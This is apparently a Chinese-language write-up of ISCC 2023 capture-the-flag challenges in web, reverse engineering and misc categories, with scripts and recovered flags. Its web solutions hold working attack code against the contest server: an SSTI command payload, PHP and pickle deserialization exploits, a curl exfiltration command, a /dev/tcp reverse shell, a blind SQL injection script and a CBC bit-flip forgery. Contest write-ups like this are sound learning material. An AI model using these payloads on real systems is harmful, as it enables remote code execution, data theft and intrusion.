ISCC_练武
Web
羊了个羊
访问链接,发现不能F12,所以在链接前加上view-source:
发现网页js代码,尝试搜索ISCC
发现b64密文:U1ZORFEzdEJOakpzTUdoUk9HRTFSM0k1UTNaR05rOWFWSEUxWjJRd1RVb3llbTExUkgwPQ==
解密:SVNDQ3tBNjJsMGhROGE1R3I5Q3ZGNk9aVHE1Z2QwTUoyem11RH0=
再次解密:ISCC{A62l0hQ8a5Gr9CvF6OZTq5gd0MJ2zmuD}
解题收获:熟悉了js逆向
小周的密码锁
对password和password1进行爆破
当值为8和5的时候可以看到源码
然后就是去爆破user,sha1,sha2变量
得到user=14987637
sha1=twpeub
sha2=FRXDQJ
因为是自己定义的hashcode所以是可以存在不同字符串相同哈希值的情况
所以最终payload为:
http://47.94.14.162:10008/index.php?username=14987637&sha1=twpeub&%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2=FRXDQJ&password=ISCBuwTHARD&password2=1
解题收获:了解了爆破hash,hash碰撞
老狼老狼几点了
输入12点得到源代码,然后使用fastcoll来碰撞hash
因为第二个if里面只检测字符串的前10位,所以我们上述生成的字符串需要前10位为时间戳,那么我们可以去设置成未来的某个时间戳然后用time函数
然后字符逃逸和php://filter伪协议来include包含flag.php
编写脚本得到响应体
PD9waHAKICAgIC8vZmxhZzpJU0NDe2RubGoxQVpKcE9vQlFVQWt4R0VmenBxdVBrQnUySDVGfQogICAgZWNobyBPSEgsIE5PIE5PIE5PLCBjb21lIGFuZCBnZXQgbWU7Cgo=
然后解码得到flag
ChatGGG
Payload:ISCC{sH8UtQ4kiz7DIb85joyR2A94MdOl3TL6}
考点就是ssti,过滤. class 等关键字,单引号’,{{
使用[]绕过.
使用hex编码绕过 class 等关键字
使用{%print()%}绕过 {{
Payload
{%print(""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f"][0]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[140]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["popen"]("\x63\x61\x74\x20\x66\x6c\x6c\x6c\x61\x61\x67\x2e\x74\x78\x74")["read"]())%}
解题收获:熟悉了模板注入
Where_is_your_love
查看元素发现了三个php文件
下载下来keyiscc,letter和一个反序列化的源码
首先看反序列化
链子为:
class boy::__destruct()
↓↓↓
class girl::__call()
↓↓↓
class helper::__isset()
↓↓↓
class boy::__toString()
↓↓↓
class helper::__get()
↓↓↓
class love_story::love()
POC
<?php
class boy {
public $like;
public function __construct($a)
{
$this->like=$a;
}
}
class girl {
private $boyname;
public function __construct($a)
{
$this->boyname=$a;
}
}
class helper {
private $name;
private $string;
public function __construct($string,$a) {
$this->string = $string;
$this->name=$a;
}
}
class love_story {
public $fall_in_love = array(0=>"girl_and_boy");
}
$gir1 = new girl('et3');
$hel1 = new helper('et3','et3');
$lov1 = new love_story();
$boy1 = new boy('et3');
$hp1=new helper(array('string' => [new love_story(),"love"]),'0');
$bo1=new boy($hp1);
$hp2=new helper('et3',$bo1);
$gi1=new girl($hp2);
$bo2=new boy($gi1);
$final=serialize($bo2);
echo urlencode($final);
payload
?iscc=O%3A3%3A%22boy%22%3A1%3A%7Bs%3A4%3A%22like%22%3BO%3A4%3A%22girl%22%3A1%3A%7Bs%3A13%3A%22%00girl%00boyname%22%3BO%3A6%3A%22helper%22%3A2%3A%7Bs%3A12%3A%22%00helper%00name%22%3BO%3A3%3A%22boy%22%3A1%3A%7Bs%3A4%3A%22like%22%3BO%3A6%3A%22helper%22%3A2%3A%7Bs%3A12%3A%22%00helper%00name%22%3Bs%3A1%3A%220%22%3Bs%3A14%3A%22%00helper%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A10%3A%22love_story%22%3A1%3A%7Bs%3A12%3A%22fall_in_love%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22girl_and_boy%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22love%22%3B%7D%7D%7D%7Ds%3A14%3A%22%00helper%00string%22%3Bs%3A3%3A%22et3%22%3B%7D%7D%7D
返回值:e35b09261d05383d30161e5e182be70658135939353e242a102525580b1729e65fe13e3e3404
然后解析public.key
然后调用yafu对n进行分解得到:
P309 = 147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922206967
P309 = 147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922205709
已知p和q求phi=(p-1)*(q-1)
然后利用invert(e,phi)求出私钥
得到d = 20792535943267793509400664914663594855926895519001804077771824885183708493448996044516001552204465205324689182982181015701361491865103390303593035580968027355693863346025810220882232210873104767479256503528669806403863668108548042875723720419893829845764168791356905930274562399773005202084660710710347966879524884553126821743719039221402066853902761268423215155289109351184898540983757340355583224114179785385585072388750798022105593895147221232802286983873330926497505337833446007945145430620813622043751962368229905913274364905816305975180817823713582368386110413570994657759409097219158283915064192565506705057921
之后要找到密文c,所以猜测letter.php是存放密文,提取出文件的十六进制数值
4392980B269740DA8230B92D73C419AD49BF7EF673D03A3A09C309123B3463C438C904D7247554BC1CC00B73BCE1FEDB2D0D3976A800FE14D5487C132D67DC0990581577BA38E6E4D8830C0B41FF69E2CE901F4EC89F56FE9D48AC4E910BB1BF4E5913EBE766E84A9005E9E0F8CB09766A85296812A65B38AA1FD63125E2D5468FC87904F1DBB30611708D22E92CB91F648CEBDC535EC32C46FF4387111C3D7A8F016B0B9ADDE451FEB11FA182923F8589E51A19E7DB08879A1B96C970AE458C3B531897F620A5BE3DD403914DC973769864705105A49793136515F08D2BD0A8C681533B4D0566DED4A7A16A6423FC9749FA554F1277D6D7C45EEFB25442FA8F
然后转换为int
c=8530254588966829834455480951833906070732403148510679362017565373269750418176646166382400178332972934093607408789719445565168370783220246473879672034218470400732624257045578085540515891000814358767437128590401597444541696561481439298734912632565289036244550789132932902805182079009950598882089323755520241569224684015358042478580914974188294787845638991395473487016273040555985633410751273015735335845836542698535898307328352997348976696598676776174058972462475116192041274686219418443286829062909262677318075802057309325237728547222618694816652165687827001008767201596367396977903210658846434611166296693949845404303
from gmpy2 import gcd, invert, powmod
from Crypto.Util.number import long_to_bytes
p=147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922206967
q=147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922205709
c=8530254588966829834455480951833906070732403148510679362017565373269750418176646166382400178332972934093607408789719445565168370783220246473879672034218470400732624257045578085540515891000814358767437128590401597444541696561481439298734912632565289036244550789132932902805182079009950598882089323755520241569224684015358042478580914974188294787845638991395473487016273040555985633410751273015735335845836542698535898307328352997348976696598676776174058972462475116192041274686219418443286829062909262677318075802057309325237728547222618694816652165687827001008767201596367396977903210658846434611166296693949845404303
phi=(p-1)*(q-1)
e=65537
d = invert(e,phi)
n=21632595061498942456591176284485458726074437255982049051386399661866343401307576418742779935973203520468696897782308820580710694887656859447653301575912839865540207043886422473424543631000613842175006881377927881354616669050512971265340129939652367389539089568185762381769176974757484155591541925924309034566325122477217195694622210444478497422147703839359963069352123250114163369656862332886519324535078617986837018261033100555378934126290111146362437878180948892817526628614714852292454750429061910217210651682864700027396878086089765753730027466491890569705897416499997534143482201450410155650707746775053846974603
m=long_to_bytes(powmod(c,d,n))
print(m)
得到m为加密脚本:
解输入的data
a = "e3e65e1a5a34065f5b2b5a351905e53058075e1b2a1039120024090b14310f5b26e13e3e3404"
b=[]
for i in range(0,len(a),2):
b.append("0x"+a[i]+a[i+1])
b=list(map(eval,b))
c=""
for i in range(len(b)):
b[i] ^= 100
b[i] -= 10
b[i] = chr(b[i])
c+=b[i]
print(c[::-1])
得到:VFPP{85aKfec6ZlSjDu0Y2JwWsG4E51XF4t0x}
最后解rot13
得到flag
解题收获:熟悉了rsa和反序列化
上大号说话
http://47.94.14.162:10004/.git 泄露源码,调试源码可知file_key是4位
然后爆破密钥得到结果5MbG
from cryptography.fernet import Fernet
import base64
class ED:
def crypto(self, base_str):
self.file_key = '5MbG' # 1Aa 5MbG
self.cipher_suite = Fernet(self.generate_key(self.file_key))
return self.cipher_suite.encrypt(base_str)
@staticmethod
def generate_key(key: str):
key_byte = key.encode()
return base64.urlsafe_b64encode(key_byte + b'0' * 28)
def decrypto(self, base_str):
list1=[]
s = ''
for i in range(48, 123):
for o in range(48, 123):
for w in range(48, 123):
for a in range(48, 123):
s = s + chr(i) + chr(o) + chr(w) + chr(a)
list1.append(s)
s = ''
for i in list1:
self.file_key = i # 1Aa
try:
self.cipher_suite = Fernet(self.generate_key(self.file_key))
f=self.cipher_suite.decrypt(base_str)
print(i," ",f)
break
except:
print(i)
if __name__ == '__main__':
a=b'gAAAAABkVkZZi6AjDCN_9Lo-fztjvS6OmTduXr01KgyEclBoLFIbGtSpbgjkZbOjEKqp4wAY6_LaSs3QPBh2ozi-ykgjoqvX1l8k92_93OY_TNCmrmMYCP2Y_u76jhA-DpsU_HcFyUOAYSfKF7wQTJYa5MVGjA73SgfA7lfX5DElTwO581BSf3o='
ed = ED()
print(ed.decrypto(a))
然后先随便赋值,然后根据题目要求手动修改编码
import pickle
import base64
import secret
import pickletools
class Member():
def __init__(self):
self.name = 'mabaoguo'
self.random = 'd'
self.gongfu = 'sdf'
new_flag = pickle.dumps(Member(), protocol=3)
flag = pickletools.optimize(new_flag)
print(flag)
if result.name == 'mabaoguo' and result.random == mabaoguo.random and result.gongfu == mabaoguo.gongfu
根据源码要求修改为:
\x80\x03c__main__\nMember\n)\x81}(X\x04\x00\x00\x00nameX\x08\x00\x00\x00mabaoguoX\x06\x00\x00\x00randomcmabaoguo\nrandom\nX\x06\x00\x00\x00gongfucmabaoguo\ngongfu\nub.
然后进行加密
from cryptography.fernet import Fernet
import base64
class ED:
def crypto(self, base_str):
self.file_key = '5MbG' # 1Aa 5MbG
self.cipher_suite = Fernet(self.generate_key(self.file_key))
return self.cipher_suite.encrypt(base_str)
@staticmethod
def generate_key(key: str):
key_byte = key.encode()
return base64.urlsafe_b64encode(key_byte + b'0' * 28)
def decrypto(self, base_str):
list1=[]
s = ''
for i in range(48, 123):
for o in range(48, 123):
for w in range(48, 123):
for a in range(48, 123):
s = s + chr(i) + chr(o) + chr(w) + chr(a)
list1.append(s)
s = ''
for i in list1:
self.file_key = i # 1Aa
try:
self.cipher_suite = Fernet(self.generate_key(self.file_key))
f=self.cipher_suite.decrypt(base_str)
print(i," ",f)
break
except:
print(i)
if __name__ == '__main__':
a=b'\x80\x03c__main__\nMember\n)\x81}(X\x04\x00\x00\x00nameX\x08\x00\x00\x00mabaoguoX\x06\x00\x00\x00randomcmabaoguo\nrandom\nX\x06\x00\x00\x00gongfucmabaoguo\ngongfu\nub.'
ed = ED()
print(ed.crypto(a))
然后使用服务器外带数据
from cryptography.fernet import Fernet
import base64
class ED:
def crypto(self, base_str):
self.file_key = '5MbG' # 1Aa 5MbG
self.cipher_suite = Fernet(self.generate_key(self.file_key))
return self.cipher_suite.encrypt(base_str)
@staticmethod
def generate_key(key: str):
key_byte = key.encode()
return base64.urlsafe_b64encode(key_byte + b'0' * 28)
def decrypto(self, base_str):
list1=[]
s = ''
for i in range(48, 123):
for o in range(48, 123):
for w in range(48, 123):
for a in range(48, 123):
s = s + chr(i) + chr(o) + chr(w) + chr(a)
list1.append(s)
s = ''
for i in list1:
self.file_key = i # 1Aa
try:
self.cipher_suite = Fernet(self.generate_key(self.file_key))
f=self.cipher_suite.decrypt(base_str)
print(i," ",f)
break
except:
print(i)
if __name__ == '__main__':
a=b'\x80\x03c__main__\nMember\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl http://ip:port/`cat flagucjbgaxqef.txt|base64`\nb0c__main__\nMember\n)\x81}(X\x04\x00\x00\x00nameX\x08\x00\x00\x00mabaoguoX\x06\x00\x00\x00randomcmabaoguo\nrandom\nX\x06\x00\x00\x00gongfucmabaoguo\ngongfu\nub.'
'
ed = ED()
print(ed.crypto(a))
通过上述脚本进行加密,传入cookie
然后base64解密得到flag
解题收获:熟悉了web解题流程,密钥爆破
ISCC单身节抽奖
登录页面源代码有提示
F12抽奖页面,发现有token,把token base64解密
把et3改为blasterr,这里存在php反序列化字符逃逸漏洞,利用漏洞将sdog改为1
所以注册登录账户ababab";s:4:"sdog";i:1;},密码为1。然后登录然后下载凭证
然后通过e来绕过,将check_time改为0.432000e,将file改为apidemo.php,下载apidemo.php源码
然后xxe访问/flag
ISCC内部零元购2
import base64
import requests
#eval commands subprocess exec global popen system os
# timeit.timeit("__import__('os').system('curl
`ls`.wd7vst.dnslog.cn')")
#__import__('os').system('bash -c "bash -i >& /dev/tcp/*.*.*.*/8888
0<&1 2>&1"')
opcode1=b'''(V\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u0
05f\u0028\u0027\u0(__import__('os').system('bash -c "bash -i >&
/dev/tcp/*.*.*.*/8888 0<&1 2>&1"')unicode 编码)
timeit
timeit
R.'''
payload=base64.b64encode(opcode1).decode()
url = "http://47.94.14.162:10009/"
header = {"Cookie":"session="+payload+";
Auth=eyJ0eXAiOiJqd3QiLCJhbGciOiJSUzI1NiIsIkFjY2Vzc19JUCI6IjE3MS4xMC45Ny
4zOSJ9.eyJuYW1lIjoiR3Vlc3QiLCJleHAiOjE2ODM5NjAzNjd9.BIrQrrnk35o72XTtX68CXwxtO13Zg14SpPXM97F4SvCZKhQigwE_R6Xc7kDVJLQITvnoDvN9
NdGuLCp-IB6Pv1XDcCfUKHNKy5Jg6Om4-
RFmqFWZudltpYzrUXwJ_sHFmBcFACnkI3GUimwr9Y4jrswHQEjtAxT04nHGM_LPvc"}
r = requests.get(url,headers=header)
print(r.text)
解题收获:熟悉base64编码饶过
ISCC疯狂购物节1
进入之后注册,注册完之后登录获取csrftoken 和 sessionid,使用以下exp
import requests
import string
from time import sleep
# proxies=pro,
pro = {'http': 'http://127.0.0.1:8011',
'https': 'http://127.0.0.1:8011'
}
# 绕过are you kidding me
cookies ={
'csrftoken': "up2e2gJOFqgNVlJcEmH3QIkm5G0o4P8zjFfrzR9DqGskO9kbqpUOZggI24FQoqfT",
'sessionid': "hhfenh20s5j70vh5lm380ux1znib8tcb",
}
headers = {
'Acept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
#cookie":
'Upgrade-Insecure-Requests' : '1',
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.35',
}
def str_to_hex(string):
result = ''
for i in string:
result+=hex(ord(i))[2:]
return result
# 找到flag所在字段
def find_flag_col():
url = "http://47.94.14.162:10001/Details/search?id=4875610)||{} like binary 0x5f25 %23"
with open(r'flag.txt','r') as f:
print(f)
for flag in f:
payload = url.format(flag.strip('\n'))
print(payload)
r = requests.get(url=payload,cookies=cookies,headers=headers)
# print(r.text)
sleep(1)
if r.status_code != 500:
print(r.text)
print("Found:[+]:{}".format(flag))
#已经找到字段为fl4g
# 正则过滤了,只能0x+四个字符
url = "http://47.94.14.162:10001/Details/search?id=4875610)||fl4g like binary 0x25{}{}25 %23"
alphabet="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\]^`{|}~"
result= '{'
for i in range(1,100):
for ch in alphabet:
payload = url.format(str_to_hex(result[-1]),str_to_hex(ch))
# payload = url.format(str_to_hex(ch))
print(payload)
r = requests.get(url=payload,cookies=cookies,headers=headers)
# print(r.text)
sleep(1)
if "too fast" in r.text:
print("too fast")
sleep(2)
r = requests.get(url=payload,cookies=cookies,headers=headers)
if "576O576K576K" in r.text:
print(payload)
result += ch
print("注入成功:[+]", result)
break # 这一位已经跑出来了,可以break掉然后下一轮循环跑下一位数据了
# 如果已经跑到了字母表最后一位都还没有进到上面的if然后break,说明这轮循环没跑出来正确结果,说明注入完成(或者注入payload写的有问题注入失败),脚本没必要继续跑下去了
if ch == alphabet[-1]:
print("注入完成")
exit(0)
解题收获:熟悉sql盲注
滥用职权
首先就是需要注册一个新号,然后登录第三个好像是策划部吧,需要bp抓包改大写字母
然后但是需要CBC反转来绕过认证,脚本如下
import base64
import requests
import urllib.parse
iv_raw='Jh5f1efA%2FP0aK4Ja5q6%2Flg%3D%3D' #这里填写第一次返回的iv值
cipher_raw='YKdGRbYAyVv8G6sI5nTWyTfXFQHzVvdf4DjoLGO3DwKdXf%2FSjYwFrl4xX9DhpyRb82wrxFam4nYvKjtClYr58eiz%2BBW19RHESbDTz8fA2Y6Ffez4YxW788%2BeDRi6OyZ%2B' #这里填写第一次返回的cipher值
print ("[*]原始iv和cipher")
print ("iv_raw: " + iv_raw)
print ("cipher_raw: " + cipher_raw)
print ("[*]对cipher解码,进行反转")
cipher = base64.b64decode(urllib.parse.unquote(cipher_raw))
\#a:3:{s:8:"deppartm";s:7:"orgnize";s:8:"username";s:3:"123";s:8:"password";s:3:"123";}
\#a:3:{s:8:"deppar
\#tm";s:7:"orgnize
\#";s:8:"username"
\#;s:3:"123";s:8:"
\#password";s:3:"1
\#23";}
xor_cipher = cipher[0:9]+bytes([ord(chr(cipher[9]))^ord('T')^ord('t')])+cipher[10:]
\#xor_cipher2=cipher[0:25]+ chr(ord(cipher[25]) ^ ord('z') ^ ord('a')) + cipher[25:] #如果修改的是第三密文组,要对前一个密文修改
\#print(xor_cipher)
xor_cipher=urllib.parse.quote(base64.b64encode(xor_cipher))
print ("反转后的cipher:" + xor_cipher)
反转之后还需要重新算一下偏移
脚本如下
<?php
\#计算iv
$res = base64_decode('txkvKlgRty+WzPGCJ8aK4XRtIjtzOjU6InRlY2huIjtzOjg6InVzZXJuYW1lIjtzOjM6IjEyMyI7czo4OiJwYXNzd29yZCI7czozOiIxMjMiO30='); //这里放burp放回的base64数据
$iv = base64_decode(urldecode('Jh5f1efA%2FP0aK4Ja5q6%2Flg%3D%3D')); //这里放cookie中的iv
$plaintext = 'a:3:{s:8:"deppar';
$new_iv = '';
for ($i = 0; $i < 16; $i ++){
$new_iv = $new_iv . chr(ord($iv[$i]) ^ ord($res[$i]) ^ ord($plaintext[$i])); //产生新的向量IV
}
echo urlencode(base64_encode($new_iv));
?>
这样就可以使用自己注册的号进入策划部
成功伪造身份
查看提示以为是xss+csrf来让bot点击购买flag,但是一直行不通,后来发现存在类似条件竞争
随手一登陆,发现有个admin/admin,利用上面的cbc绕过,然后两个号同时给彼此任免,可以提高level,而flag好像是需要100000可以购买,猜测level就是这个钱
然后利用bp抓包进行条件竞争,攒够100000之后购买flag得到flag
解题收获:条件竞争与CBC反转来绕过认证
Reverse
JustDoIt
ida打开文件,找到main_0函数F5反汇编,分析代码
发现sub_487C91函数是对输入字符串进行处理,然后在for循环中与v8进行对比
所以进入加密函数分析
首先是对输入字符串进行-60
然后将字符串的顺序往后顺延一位
然后是for循环每一位字符加上下标
然后是最后一个for循环处理字符串
没有涉及其他加密,都是常规的运算,所以直接把函数的循环倒着执行一遍就行
exp:
#include<bits/stdc++.h>
using namespace std;
int main(){
char a1[16];
a1[0] = 23;
a1[1] = 68;
a1[2] = 68;
a1[3] = 15;
a1[4] = 94;
a1[5] = 10;
a1[6] = 8;
a1[7] = 10;
a1[8] = 6;
a1[9] = 95;
a1[10] = 8;
a1[11] = 24;
a1[12] = 87;
a1[13] = 3;
a1[14] = 26;
a1[15] = 'i';
char a2[] = {73,83,67,67};
int a3 = 16;
for(int i = 1; i < a3; i++){
a1[i] ^= *a2;
a1[i] -= a2[i%4] % 5;
a1[i] = a1[i] + a2[2]%6 + a2[3]/6;
a1[i] -= a2[1]/7 + *a2%7;
}
for(int i = 1; i < a3; i++){
a1[i] -= i;
a1[i] += 60;
cout << a1[i];
}
}
运行得到flag,这里没有对字符串顺延处理,所以运行得到的flag再手动转换一下
最终得到:ISCC{Just~Do~It}
解题收获:熟悉逆向流程
奇门遁甲
ida反汇编F5得到伪代码
主要逻辑就是这个do,while循环,对每一次的输入进行检测,同时校验v3的值,所以这里主要观察v3的顺序,从1-8
得到输入字符串的顺序是31284567
所以根据顺序查找函数中输出的值,然后组合得到flag
ISCC{AKlFQ%iHCC6lik4igYVr#ue0}
也可以直接运行程序,然后依次输入31284567,将输出内容组合得到flag
变形记
首先还是ida找main函数然后F5反汇编
这个题逻辑有点乱,但总的来说就是对输入的字符串缩减,就是把重复的字符换成数字,然后对字符串进行base64加密,最后是对base64加密后的字符串进行逆置,最后与所给定的字符串进行比对
在这个位置调用函数,对字符串进行base64加密
在这里进行字符串的逆置
所以最后解flag的时候只需要吧==gd5V1cyIkezlnQRl3c2NzcCVlQ
逆置一下
得到:BUBs3vsyQByszB2sUyv
然后将数字给替换成数字前的一个字母就行得到:BUBsssvsyQByszBBBsUyv
最后flag:ISCC{BUBsssvsyQByszBBBsUyv}
解题收获:熟悉逆向流程
Convert
ida打开文件,找到main_0函数F5反汇编
逻辑很简单,就是对输入的字符串调用sub_488B0A()函数加密,然后与v8字符串进行比较
所以观察一下这个函数
可以看到都是一些很简单的运算,所以没啥说的,直接把循环倒着写一遍就行了
exp:
#include <bits/stdc++.h>
using namespace std;
int main(){
int v6 = 23,j=0;
char v10[23];
v10[0] = 40;
v10[1] = 48;
v10[2] = 36;
v10[3] = 36;
v10[4] = 98;
v10[5] = 22;
v10[6] = 22;
v10[7] = 66;
v10[8] = 24;
v10[9] = 65;
v10[10] = 56;
v10[11] = 26;
v10[12] = 146;
v10[13] = 76;
v10[14] = 67;
v10[15] = 135;
v10[16] = 86;
v10[17] = 56;
v10[18] = 34;
v10[19] = 82;
v10[20] = 21;
v10[21] = 34;
v10[22] = 115;
char a2[] = "ISCC";
for (j = 0; j < 4; ++j)
{
v10[j + 16] -= a2[j] / 5;
v10[j + 12] -= v10[j + 4];
v10[j + 8] -= 2 * j;
v10[j + 4] -= a2[j] % 5;
v10[j] -= j ^ -(a2[j] % 4);
}
for (int i = 0; i < v6; i++)
{
v10[i] -= i;
v10[i] += 32;
cout << char(v10[i]);
}
return 0;
}
运行得到flag
解题收获:熟悉逆向流程
Pull the Wool Over People’s Eyes
用ida打开,然后找主函数,F5分析
这里输入字符串为v35,然后调用函数生成Src这个字符串
然后是一个do,while循环,在循环内部主要进行了异或,将sub_401650()函数生成的字符串与输入字符串进行异或
然后在这里对异或之后的字符串进行比对,如果与v10字符串不相等就直接跳出循环然后提示wrong
所以需要获取到sub_401650()这个函数所生成的字符串是什么可以动调
在这里获取到与输入字符串异或的值
得到字符串:ISCC{ACYeeeloorrsuv}
exp:
key = b'ISCC{ACYeeeloorrsuv}'
flag = '0000000000000000000000000000000000000000001011000011001001101111010100000000110000001011001101100100000000100011000000010001100100100011000101000001000000000000'
f = []
for i in range(0,len(flag),8):
t = ""
for j in range(8):
t += flag[i+j]
f.append(int(t,2))
print(f)
for i in range(len(f)):
print(chr(key[i]^f[i]),end="")
运行得到flag
Congratulations
ida打开附件静态分析
44行获取输入,然后调用sub_488D5D()与sub_489410()函数,对输入的flag进行加密,然后在下面与v9[]进行比较,所以v9为最终的密文
看一下加密函数
逻辑很简单,直接逆
exp:
#include <bits/stdc++.h>
using namespace std;
int sub_BCC3E0_decrypt(char* encrypted_str, int a2) {
char v4[36] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
char v5[32] = "abcdefghijklmnopqrstuvwxyz";
int len = strlen(encrypted_str);
for (int i = 0; i < len; i++) {
if (encrypted_str[i] < 97 || encrypted_str[i] > 122) {
if (encrypted_str[i] >= 65 && encrypted_str[i] <= 90) {
encrypted_str[i] = v4[(encrypted_str[i] - 65 - a2 + 26) % 26];
}
} else {
encrypted_str[i] = v5[(encrypted_str[i] - 97 - a2 + 26) % 26];
}
}
return len;
}
int main() {
char a[26];
a[0] = -91;
a[1] = 67;
a[2] = 83;
a[3] = -108;
a[4] = 84;
a[5] = 73;
a[6] = -83;
a[7] = -69;
a[8] = 72;
a[9] = 119;
a[10] = 88;
a[11] = -24;
a[12] = 81;
a[13] = 95;
a[14] = -94;
a[15] = 70;
a[16] = 72;
a[17] = -106;
a[18] = 118;
a[19] = 114;
a[20] = -127;
a[21] = -70;
a[22] = -84;
a[23] = 9;
a[24] = -9;
a[25] = '_';
char a2[] = "ISCC";
int a3 = 26;
for(int i=a3-2; i >=0; i--) {
*(a + i) ^= *(a2 + 1);
}
for(int j=a3-2; j >= 0; j--) {
*(j + a) += *(j + a + 1);
}
for(int i=0; i < 26; i++) {
a[i] += 30;
}
int t = -1;
int s = sub_BCC3E0_decrypt(a, t);
for(int i=0; i < 26; i++) {
cout << a[i];
}
}
运行得到flag
解题收获:熟悉逆向流程
CrackMePlease
分析一下,发现就是对输入的flag进行某些操作,然后在第58行的位置与str1进行比较,所以直接上动调
这里可以看到str1的值为:ISCC{fXGz#W:[}{EASY}
但是直接提交不对
发现这里是对str2也就是输入的字符串添加了个{EASY}的后缀,所以吧{EASY}去掉
得到flag:ISCC{fXGz#W:[}
《狂彪》-1
ida打开
发现如果运行不会出现任何结果,需要将传入var8的796B159ACD626B88修改
为其他值才可以添加配方
查看recipe文件,可以得到每个配方的哈希值。
分析可得加入的材料是4-chloroisatin,得到的产物是Ammosamide B,传入的
var8应该为0x50d7c32f4a659。
接下来直接输出flag即可
long long int num= 0x50d7c32f4a659;
char str1[]="4-chloroisatin";
char str2[] = "Ammosamide B";
long long int num_ = ((num % 100000) % 38) ^ (38 *
(num % 100000));
printf("ISCC{%d_%s_%lld_%s}",num_,str1,num,str2);
解题收获:熟悉逆向流程
《狂彪》-2
这个题使用了上一题的处理过程0x50d7c32f4a659作为密钥对密文进行aes解
密,解密出的数据可以分离出一个压缩包
def decrypt_data(key, enc_file):
with open(enc_file, "rb") as f:
enc = f.read()
data = AES.new(key, AES.MODE_CBC, key).decrypt(enc)
zip_data = data[0x1d4c36:]
zip_data = io.BytesIO(zip_data)
zip_file = zipfile.ZipFile(zip_data)
zip_list = zip_file.namelist()
elf_name = zip_list[1]
zip_file.extract(elf_name,'.',pwd=key)
zip_file.close()
with open(elf_name, "rb") as f:
elf_data = f.read()
压缩包有密码,使用0x50d7c32f4a659的十进制可以解压
这个是一个使用mov进行混淆的程序,动静态结合分析后发现,里面大致执行了三
种运算,加16,异或2和减44,同时还有一串明文ISCC{tHe_5eY@
找到对应密文后,写个脚本解密即可得到flag
a = [0x19, 0x17, 0x08, 0x0C, 0x0D, 0x2B, 0x16, 0x0D, 0x18,
0x33,
0x0A, 0x05, 0x3B, 0x08, 0x14, 0x4A, 0x07, 0x28, 0x5F,
0x40,
0x36, 0x08, 0x50, 0x37, 0x50, 0x2A, 0x2F, 0x0C, 0x2B,
0x52,
0x24, 0x63]
print("ISCC{tHe_5eY@",end="")
for i in a:
i -= 16
i^=2
i+=44
print(chr(i),end="")
解题收获:熟悉逆向流程
Misc
好看的维吾尔族小姐姐
拿到压缩包,然后解压,得到图片,发现图片高度有问题,所以修改图片高度
得到DATAMATRIX码,用工具扫码
到倒置的unicode编码,所以对字符串逆置然后解unicode编码得到flag
解题收获:了解DATAMATRIX码
汤姆历险记
这个题当时写的时候非预期了,直接用的消息传递
这题最后一步得到的flag然后与字典替换得到正确的flag
在消息传递
中最后一步得到的flag为:ISCC{i2s0c2c3}
然后用所给定的字典来替换大括号的内容得到flag:ISCC{fvprcvca}
解题收获:非预期
菜鸟黑客-1
解压缩包是个raw文件,应该是个内存取证题目,所以用volitility工具
先看一下系统信息
发现是Win7SP1x64
然后看一下主机密码
找到主机密码为:ISCC2023
然后对文件过滤一下,看看有没有与flag有关的文件
在桌面发现flag.txt
尝试提取
命令执行成功,但是并没有找到flag.txt的文件
换一个工具,使用R-Studio,对文件进行恢复,然后尝试提取
得到DES加密的密文:DES{U2FsdGVkX19WerE/OZodh7liigwc7fzf8eWqByR8ixxENEvPwPpWzm2EL2f90UXO}
猜测key为主机密码
解密
得到flag
解题收获:内存取证
菜鸟黑客-2
跟据上一题,发现桌面上有一个picture文件夹
进入,发现好多图片,但是这个工具提取不出来,所以尝试使用volatility
然后提取文件
对那个emoji.jpg进行分离得到一个压缩包
解压发现需要密码,试了一下ISCC2023发现正确,得到一个维吉尼亚密码
使用命令:python2 vol.py -f 1.raw --profile=Win7SP1x64 editbox
找到提示:Pay attention to emoji's eyes
还有一个网页链接:
https://www.baidu.com/s?tn=93453552_hao_pg&ie=utf-8&sc=UWY4n1fdn1Rdn-qCmyqxTAThIjYkPWTdrHfsnjfYnjDLFhnqpA7EnHc1Fh7W5HcznHfkP1bY&ssl_sample=normal&srcqid=7168734798389100740&H123Tmp=nunew7&word=emoji%E6%91%A9%E6%96%AF%E5%AF%86%E7%A0%81
打开发现是emoji莫斯密码
所以猜测emoji的眼睛是莫斯密码
转化为:./--/---/.---/../../.../..-./..-/-.
解密得到:emojiisfun
然后解维吉尼亚密码得到flag
解题收获:内存取证+莫斯+维吉尼亚
消息传递
